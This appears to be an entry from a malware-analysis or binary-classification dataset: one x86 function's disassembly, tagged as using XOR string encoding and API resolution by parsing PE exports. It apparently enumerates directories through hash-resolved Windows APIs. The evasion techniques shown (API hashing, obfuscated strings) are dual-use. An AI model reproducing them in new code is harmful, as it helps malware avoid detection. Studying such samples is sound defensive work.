Function at 0x41453e
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2dc
movaps xmm1, xmmword [0x421060]
xor eax, eax
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], 0x858c85b4
mov esi, ecx
mov dword [esp + 0x18], 0x8d819287
mov edi, 0xff
movq xmm0, qword [esp + 0x14]
mov word [esp + 0x78], ax
pxor xmm1, xmm0
push 0x2a
pop eax
xorps xmm0, xmm0
mov word [esp + 0x38], ax
xor eax, eax
punpcklbw xmm1, xmm0
mov dword [esp + 0x40], esi
xor ecx, ecx
movups xmmword [esp + 0x68], xmm1
mov word [esp + 0x3a], ax
mov dword [esp + 0x1c], 0x647b742d
mov byte [esp + 0x20], 0x32
movzx eax, byte [esp + ecx + 0x1c]
sub ax, 8
and ax, di
mov word [esp + ecx*2 + 0x4c], ax
inc ecx
cmp ecx, 5
jl 0x4145a5
xor eax, eax
lea edx, [esp + 0x68]
mov word [esp + 0x56], ax
mov ecx, esi
lea eax, [esp + 0x38]
push 1
push eax
call fcn.004184f7
lea eax, [esp + 0x54]
push esi
push eax
call fcn.0041b73a
mov ebx, eax
add esp, 0x10
mov dword [esp + 0x1c], ebx
test ebx, ebx
je 0x4147ca
lea eax, [esp + 0x98]
xor ecx, ecx
push eax
push ebx
mov edx, 0x54e1cc7b
inc ecx
call fcn.00412ca7
call eax
xor ecx, ecx
mov edx, 0x17299c7b
inc ecx
mov ebp, eax
call fcn.00412ca7
cmp ebp, 0xffffffff
je 0x4147c3
mov word [esp + 0x24], 0xe3e3
mov ebx, eax
push 0x2e
pop eax
mov word [esp + 0x3c], ax
xor eax, eax
mov word [esp + 0x3e], ax
xor ecx, ecx
mov al, byte [esp + ecx + 0x24]
xor al, 0xcd
movzx eax, al
mov word [esp + ecx*2 + 0x44], ax
inc ecx
cmp ecx, 2
jl 0x41463b
xor eax, eax
mov word [esp + 0x48], ax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0xc8]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x41479c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0xc8]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x41479c
test byte [esp + 0x98], 0x10
je 0x41479c
lea eax, [esp + 0xc4]
push eax
call fcn.0040581e
pop ecx
cmp eax, 0x10
jne 0x41479c
mov dword [esp + 0x14], 0xe251ed7
xor ecx, ecx
mov word [esp + 0x18], 0x1ed7
mov byte [esp + 0x1a], 0x25
movzx eax, byte [esp + ecx + 0x14]
add ax, 0x4e
and ax, di
mov word [esp + ecx*2 + 0x58], ax
inc ecx
cmp ecx, 7
jl 0x4146c9
xor eax, eax
mov word [esp + 0x66], ax
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x5c]
push esi
push eax
call fcn.0041b73a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x414797
mov dword [esp + 0x2c], 0xa7aea796
xor ecx, ecx
mov dword [esp + 0x30], 0xafa3b4a9
mov edx, 0xff
mov dword [esp + 0x34], 0xb5ae6771
movzx eax, byte [esp + ecx + 0x2c]
sub ax, 0x42
and ax, dx
mov word [esp + ecx*2 + 0x7c], ax
inc ecx
cmp ecx, 0xc
jl 0x414726
xor eax, eax
mov word [esp + 0x94], ax
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.0041b73a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41478c
push 0x2a
pop eax
mov word [esp + 0x28], ax
mov edx, esi
xor eax, eax
mov ecx, edi
mov word [esp + 0x2a], ax
lea eax, [esp + 0x28]
push 1
push eax
call fcn.004184f7
push esi
call fcn.004056f0
add esp, 0xc
push edi
call fcn.004056f0
mov esi, dword [esp + 0x44]
pop ecx
mov edi, 0xff
lea eax, [esp + 0x98]
push eax
push ebp
call ebx
test eax, eax
jne 0x41462a
xor ecx, ecx
mov edx, 0x83fbc401
push ebp
inc ecx
call fcn.00412ca7
call eax
mov ebx, dword [esp + 0x1c]
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2dc
ret